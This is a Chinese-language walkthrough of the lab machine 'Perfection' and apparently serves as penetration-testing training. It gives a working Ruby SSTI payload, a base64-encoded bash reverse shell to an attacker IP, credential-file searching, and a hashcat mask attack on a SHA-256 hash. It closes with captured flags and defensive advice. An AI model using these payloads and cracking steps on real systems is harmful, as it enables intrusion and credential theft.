[Meachines][Easy]Perfection
字数 1095 2025-08-19 12:42:26
渗透测试教学文档:Perfection靶机实战分析
1. 靶机概述
Perfection是一台基于Ruby开发的易难度靶机,主要考察以下技术点:
- 端口扫描与信息收集
- Ruby SSTI (服务器端模板注入)漏洞利用
- 权限提升与横向移动
- 密码哈希破解技术
2. 信息收集阶段
2.1 初始扫描
使用Nmap进行快速扫描:
nmap -sV -sC 10.10.11.253 --min-rate 1000
参数说明:
-sV: 服务版本检测-sC: 使用默认脚本扫描--min-rate 1000: 设置最小发包速率为1000包/秒
3. 漏洞利用:Ruby SSTI注入
3.1 确认漏洞
发现目标使用Ruby开发,尝试SSTI注入:
x%0a<%25%3Dsystem("ping+-c1+10.10.16.23");%25>
URL编码解析:
%0a: 换行符<%25%3D:<%=(Ruby模板输出标记)system(...): 执行系统命令
3.2 反弹Shell构造
- 准备Base64编码的反弹Shell命令:
echo "/bin/bash -i >& /dev/tcp/10.10.16.23/10032 0>&1" | base64
- 构造SSTI注入Payload:
category1=x%0a<%25%3Dsystem("echo+'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjIzLzEwMDMyIDA%2bJjEK'|base64+-d|bash");%25>
4. 初始访问与用户权限
4.1 获取用户Shell
成功获取susan用户权限后,升级终端:
SHELL=/bin/bash script -q /dev/null
4.2 获取用户Flag
cat /home/susan/user.txt
# 6a8f32464a7641145fd3ed87fdc876a1
5. 权限提升
5.1 信息收集
- 查找属主为特定UID的文件:
find / -uid 1001 -type f -ls 2>/dev/null | grep -v "/proc*"
- 搜索包含用户名的文件:
find / -name "*susan*" -type f -ls 2>/dev/null
- 搜索密码相关信息:
cd ~; grep -i password -R .
5.2 发现密码哈希
在数据库文件中找到Susan的密码哈希:
strings ./Migration/pupilpath_credentials.db | grep "Susan"
5.3 密码策略分析
根据泄露信息,密码格式为:
{名字}{名字反向拼写}{1到1,000,000,000之间随机生成的整数}
对于用户susan:
- 名字:susan
- 反向:nasus
- 格式:
susan_nasus_?d?d?d?d?d?d?d?d?d
5.4 使用Hashcat破解
- 准备哈希文件:
echo abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f > hash
- 执行破解:
hashcat -a 3 -m 1400 hash "susan_nasus_?d?d?d?d?d?d?d?d?d"
参数说明:
-a 3: 暴力破解模式-m 1400: SHA2-256哈希类型- 掩码模式:
susan_nasus_后跟9位数字
- 破解结果:
susan_nasus_413759210
5.5 获取Root权限
使用破解的密码切换到root:
sudo su
# 输入密码: susan_nasus_413759210
5.6 获取Root Flag
cat /root/root.txt
# ab2d77a013f943f420a48d84563a73bf
6. 技术总结
-
SSTI注入:
- Ruby模板注入需要闭合模板标签
<%= %> - 使用URL编码绕过可能的过滤
- 通过换行符
%0a分隔命令
- Ruby模板注入需要闭合模板标签
-
密码破解:
- 利用信息泄露获取密码策略
- 使用掩码攻击提高破解效率
- Hashcat参数选择要匹配哈希类型
-
权限提升:
- 通过密码复用实现垂直提权
- 充分利用系统信息收集技巧
7. 防御建议
-
对于Ruby应用:
- 避免直接执行用户输入
- 使用安全的模板渲染方法
-
密码安全:
- 避免可预测的密码策略
- 使用强密码哈希算法
- 实施多因素认证
-
系统安全:
- 限制sudo权限
- 定期审计敏感文件权限
- 监控异常登录行为